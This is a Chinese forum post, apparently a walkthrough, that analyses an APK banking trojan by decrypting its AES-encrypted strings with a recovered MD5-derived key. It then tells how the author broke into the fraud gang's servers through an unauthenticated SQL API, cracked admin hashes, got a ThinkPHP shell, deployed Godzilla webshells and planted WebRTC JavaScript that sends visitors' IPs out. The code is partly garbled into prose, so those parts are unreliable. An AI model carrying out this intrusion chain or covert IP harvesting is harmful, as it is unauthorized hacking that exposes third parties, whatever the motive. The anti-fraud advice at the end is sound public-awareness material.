新手教程:如何分析APK木马并解密加密变量及密钥

作者论坛账号:btc001

新手教程:如何分析APK木马并解密加密变量及密钥

新人第一次发帖,如果有什么错误请告知!

前几天朋友给了一份apk木马让我分析看看

直接放到dex2jar里面跑一下

简单信息

CBRC

Ver:1.0(1)

Package:com.sbr.chidi7.bvd1

SDKVer:8

TargetSDKVer:

发现所有变量都采用了加密

然后找了一下发现了解密方法

私有静态字节数组 decode 方法,它接受一个字节数组和一个字符串作为参数。 try {创建了一个 SecretKeySpec 对象,该对象使用 paramString 转换为字节数组作为密钥内容,并且指定加密算法为 "AES"。Cipher 被实例化为 Cipher.getInstance("AES")。cipher 初始化了 2 和 secretKeySpec 。使用 cipher 执行 doFinal 操作并返回结果,传入的参数为 paramArrayOfbyte 。遇到异常时进行捕获处理,捕获到的异常为 Exception 类型的 exception 对象。 exception.printStackTrace(); return null; } }

发现是ase加密 需要找一下解密密钥globalPass

往上翻了翻找到了

又发现密钥使用了encodeToMD516加密

使用 encodeToMD516 函数对 paramString 进行编码,然后将编码结果转换为小写形式。 }

往下查找encodeToMD51

将参数 paramString 编码为 MD516 格式的字符串。具体实现是通过特定的编码算法对该字符串进行处理,最终得到编码后的 MD516 字符串。使用 encodeToMD5 函数对 paramString 进行编码,然后截取编码结果从第 8 位到第 24 位的部分。 }

发现密钥是md5加密取8到24位16字符

b768e64a0bb611cf

他的解密过程就是

或者:按照要求,去掉序号并拆分长句成短分句。

取红色区域然后使用ase-ecb解密

加密的变量太多,一个一个跑太慢 ,直接上fd抓包

发现了两条通信网址

1.

浏览器访问是一个钓鱼界面

2.

每秒都在请求

浏览器访问报错

org.springframework.web.util 这个类中的 NestedServletException 出现了,原因是请求处理失败了,并且嵌套的异常是 java.lang.NullPointerException 。org.springframework.web.servlet.FrameworkServlet 对请求进行处理,处理的位置在 FrameworkServlet.java 的 973 行。org.springframework.web.servlet 的 FrameworkServlet 执行了 doGet 方法,该方法位于 FrameworkServlet.java 文件的 852 行。javax.servlet.http.HttpServlet 的 service 方法位于 HttpServlet.java 文件的 624 行。org.springframework.web.servlet.FrameworkServlet 的 service 方法被调用,该方法位于 FrameworkServlet.java 文件的 837 行。javax.servlet.http.HttpServlet 的 service 方法位于 HttpServlet.java 文件的 731 行。org.apache.tomcat.websocket.server 的 WsFilter 执行 doFilter 方法,该方法位于 WsFilter.java 文件的第 52 行。org.springframework.web.filter.CharacterEncodingFilter 的 doFilterInternal 方法在 CharacterEncodingFilter.java 文件的第 88 行被调用。org.springframework.web.filter.OncePerRequestFilter 在 OncePerRequestFilter.java 的 107 行执行 doFilter 方法。root cause

然后我跑回去解密变量,查看能有什么发现。然而,没有发现任何有用的信息。在这唯一的一点发现中,信息提示都是繁体字。

至此app分析到此,没有任何头绪,

然后换了一种思路进行搜索,搜索了 /WebMobileD1/phoneajax/index.do 这个 url 。

找到了这个帖子

看了一下,发现它与我的这个木马属于同一个家族,只是对混淆和加密变量进行了更新。

我就不在重复一遍这个木马的危害性了。

然后有了服务器ip地址该做什么了?当然搞他了。

首先尝试对钓鱼页面 ****.com/d1/ 进行分析,接着走了一遍相关流程。

1.****.com/d1/index.php 钓鱼首页

2.****.com/d1/BANK.php选择银行

在 3.****.com/d1/FORM.php 这个页面输入个人的银行相关信息

最后提交给****.com/d1/OK.php 存储

首先尝试了注入但没有结果,接着尝试查询服务器的 IP 端口,发现开启了 8080,然后在该 IP 后面加上端口进行访问。

发现 tomcat 的后台文件被删除了。这样一来,就无法进行暴力破解了。接着尝试使用 Ladon 进行扫描,然而却没有发现任何有用的信息。

我当时感觉事情到这里就结束了。接着我想到,如果这是一个团队作案,那肯定会有之前的痕迹。随后我尝试对已知域名的二级域名进行扫描,结果发现了一个二级域名的解析,并且这个解析的时间也很相近。

由于已知木马的服务器ip 发现这个ip跟木马服务器ip一致

然后尝试访问这个域名,结果显示 404。目前所收集到的信息显示进展不太顺利。

木马服务器的 ip 为 *.*.*.*79 ,已知其网址为 https://web.*****.com/d1 ,该网址是一个钓鱼页面。未知网址为 http://app.*****.com,推测它是一个用于下载木马的域名。

这些信息没有什么用处。接着我灵机一动,发现钓鱼页面有证书。那么,为什么这个 app 不带域名证书呢?之后我添加了“s”去访问并查看域名证书的详细信息,又发现了一个新的域名。

虽然过期了,但是他们曾经使用过

接着查询该域名在最近一段时间的解析记录,结果发现了另一个服务器的 IP。

*.*.*.*72

这个 ip 地址与木马服务器 ip 处于同一段。由此看来,它们处于同一机房的几率比较大。

然后搜索这个服务器的 ip 关联记录,发现了众多域名。其中有很多二级域名的头与钓鱼网址是一致的。由此可以判断,这台服务器就是他们之前所使用的服务器。

然后尝试扫描域名发现了俩个还在运行的网站

h****.******.vip 下的 zj 盘,其路径为*.*.*.*72

******.vip 对应着 xnb 盘的*.*.*.*72 部分

然后尝试进行报错操作以查看是否开启了错误提示,结果发现 zj 盘的版本是 tp3.1.3,xnb 盘的版本是 tp6.0。

尝试了已知的 tp 注入,但都未起作用。接着又尝试了 zj 盘和 xnb 盘的后台路径爆破。

得到了h****.******.vip/admin.php

尝试了一翻发现进度不理想,然后利用了我们万能的搜索引擎。

找到了类型的源码,随便找了一份下载。

尝试同资源文件比对,发现是同一份源码,

那么就尝试登录一下安装教程里的账户密码,发现前台能登录

没有找到注入点,找到了 KindEditor 上传,然而它已经是 4.1.7 版本,不存在上传漏洞了。

进度到这里就比较尴尬了。最后没有别的办法,只能尝试这份源码是否存在未知的后门。用护卫进行扫描后,发现确实很干净,什么都没有,甚至连误报都没有。

只能审计代码了,发现一个sql查询不需要权限的api

/**                 * 异步获取数据返回Json参数为字符串类型的 $sTable ,这是表名。参数 [string] $sIndexColumn 为[主键名]@param 数组 $aColumns ,这是用于查询的字段。返回的是一个 JSON 格式的数据,其中包含一个空的数组。                 */这个函数的功能是获取指定表中的数据。它需要指定表名$sTable$,索引列名$sIndexColumn$,以及要获取的列名数组$aColumns$,其中包含了'logtime'和'logaccount'这两个列名。

如果已知数据库表名,并且加上要查询的字段,是不是就可以返回 mysql 数据呢?

然后进行了尝试,发现确实可以。接着我直接查询了后台账户表名,并且返回了账户和密码。

密码一看就是md5加密,找到网站破解 得到了8位数字密码

使用前文说到的后台地址直接登入了后台。

尝试生成 tp3.1.3 缓存的 shell 后发现可行,接着直接使用菜刀,在链接成功后传输了哥斯拉。

链接成功后,发现了木马的源码以及钓鱼的源码。前面提到扫描了端口,其中有一个端口让我印象深刻,是 8888,从外观上看像是 bt 相关的端口。

然后对资源文件进行尝试修改,通过使用木马服务器的 ip 进行访问后发现该资源文件不存在,这就能够证明我已经拿到手的服务器与木马服务器并非同一个。

其实到这已经可以不用进行下去了,信息收集的差不多了。

木马源代码

钓鱼源代码

访问日志

我决定尝试一下。于是去审计了木马的源代码,在其中发现了一个上传文件的漏洞。接着在木马服务器上尝试上传,发现上传成功了。这就意味着木马服务器已经到手了。

从/www/server/tomcat/logs/中提取访问日志,经观察发现这些都是通过梯子访问的,且没有真实 IP。接着,我联想到在论坛中看到的某 bt 使用 WebRTC 获取真实 IP 的帖子,心想自己也可以这样做,于是使用 js 编写了一段获取 IP 的代码。

function getUserIP(onNewIP) {窗口中的 RTCPeerConnection 或者窗口中的 mozRTCPeerConnection 或者窗口中的 webkitRTCPeerConnection 就是 myPeerConnection 。创建一个名为 pc 的新 myPeerConnection 对象,该对象的 iceServers 属性设置为一个包含一个对象的数组,这个对象的 urls 属性值为 "stun:stun.l.google.com:19302" 。            noop = function() {},            localIPs = {},ipRegex 是一个正则表达式,它可以匹配以下两种形式的 IP 地址:一种是由四个点分隔的四个数字组成,每个数字在 0 到 255 之间;另一种是由冒号分隔的八个十六进制数字组成,每个十六进制数字在 0 到 f 之间。这个正则表达式使用了全局匹配模式(g),可以在字符串中多次匹配符合条件的 IP 地址。            key;
function ipIterate(ip) {如果本地 IP 列表中不存在指定的 IP ,那么就调用 onNewIP 函数并传入该 IP 。 localIPs[ip] = true; }
pc.createDataChannel("");
pc 创建了一个 offer,这个 offer 会生成一个 sdp。- 对 line 进行处理。 if (line.indexOf('candidate') < 0) return;使用 line.match(ipRegex) 进行遍历,对每一个匹配的结果进行 ipIterate 操作。 });pc 设定本地描述,该描述为 sdp,同时设置了两个空函数 noop 作为相关操作的回调,用于完成本地描述的设置过程。 }, noop);
pc 的 onicecandidate 函数接收一个 ice 参数。如果没有 ice 或者 ice 没有 candidate 或者 ice 的 candidate 没有 candidate 或者 ice 的 candidate 的 candidate 不匹配 ipRegex ,就返回。ice.candidate.candidate.match 这个方法对 ipRegex 进行匹配操作,然后通过 ipIterate 对匹配结果进行遍历处理。 }; }
getUserIP(function(ip){ var url="收集ip地址"+ip;创建了一个名为 xmlhttp1 的 XMLHttpRequest 对象。xmlhttp1 打开了一个“GET”类型的请求,请求的地址是 url,并且是异步请求(true)。xmlhttp1 设定请求头,其内容类型为“application/x-www-form-urlencoded”。 xmlhttp1.send(null); });

接着将这段 js 放置到了木马后台的 top.jsp 中,处于收集 ip 地址的状态并等待着信息。

没过几秒钟就发现ip信息来了

短短几分钟就有 780 多条 ip 信息了,这充分证明了这是一个团伙。

至此把我所收集的信息全部发给了朋友。

别看我说的过程看似简单,实际上非常费时间。从开始分析 apk 一直到结束,总共用了 5 天时间。在这期间,仅仅是尝试注入就遇到了诸多问题。tp3.1.3 已知的那些漏洞根本无法正常使用。我又对 tp 框架的源码进行了分析,这才找到了一个能够 getshell 的漏洞。因为这个漏洞还没有公开,所以我没有详细介绍这段的过程。

上篇文章中有人询问国内魔改系统是否还会更改通信录,答案是可以的。这种情况并非仅仅只有一个木马,根据我所收集的信息来看,至少有 10 多个木马。

从收集的信息而言,我个人觉得这是一个电诈团队。其幕后老板以及木马维护团队位于台岛省,而电服团队则在印尼。

骗人流程:

冒充公检法称你银行账户异常,需下载 app 并提供银行资料。受害者轻信后下载了 app,此时你已中木马,手机信息及通信录已被上传至木马后台。

然后骗子在后台看到你提交的银行信息,之后在后台对其进行操作,设置好你的通信录,并且隐藏指定的号码短信。

然后依据你提交的银行信息来进行转账或者购买充值卡。通常情况下,你理应收到银行转账的短信。然而,这些短信已经被骗子的木马拦截了,你对此全然不知,依旧在苦苦地等待。在你等待的过程中,银行卡里的钱早已不翼而飞。

受害群众多数是留学生、老人、香港、澳门地区人群。

定位受害群众的个人信息,接着冒充已定位好的部门。若受害者处于 yq 地区,就发送 yq 提示短信,促使受害者下载 app。之后利用特定话术开始打电话。一旦你信任了骗子的第一步,就会步入骗子为你编造好的结局。

怕你觉得被骗就是结局,其实并非如此。我分析木马后发现,它还有个功能是群发短信。如果骗子用你的手机给你通信录里的朋友、同学、亲戚群发短信,那么上当的就不只是你一个人,而是会形成一个很庞大且分散的局面。

我想说大家务必下载国家反诈 app。不要盲目地相信短信和电话而去下载未知的 app。只要是涉及转账汇款的情况,大家一定要保持小心。

所以我想说大家一定要下载国家反诈app,不要盲目相信短信和电话下载未知app,只要涉及转账汇款一定要小心!

所以我想说大家一定要下载国家反诈app,不要盲目相信短信和电话下载未知app,只要涉及转账汇款一定要小心!

可以明确看到可以添加手机通讯录

可以看到有这样一个功能,能够设置拨打姓名以及拨打号码,之后还可以转接其他号码。这个功能的作用是,你原本想拨打 123,但实际拨打的却是 456。

利用你的手机给任意人发送短信

此次揭秘到此为止!

-官方论坛

--推荐给朋友

你可能想看:
« 上一篇
下一篇 »

相关推荐

php实时推送,php实地培训

2026年10月05日

53阅读

php乱码出现问号的原因,php乱码出现问号的原因有哪些

2026年10月05日

45阅读

php一句话木马,一句话木马ctf

2026年10月05日

48阅读

php获取数组长度,php中如何获取数组的长度

2026年10月05日

50阅读

php面试题库及答案,php程序员面试真题库

2026年10月05日

47阅读

phpcontent-type修改,php源码二次修改需要多少钱

2026年10月05日

42阅读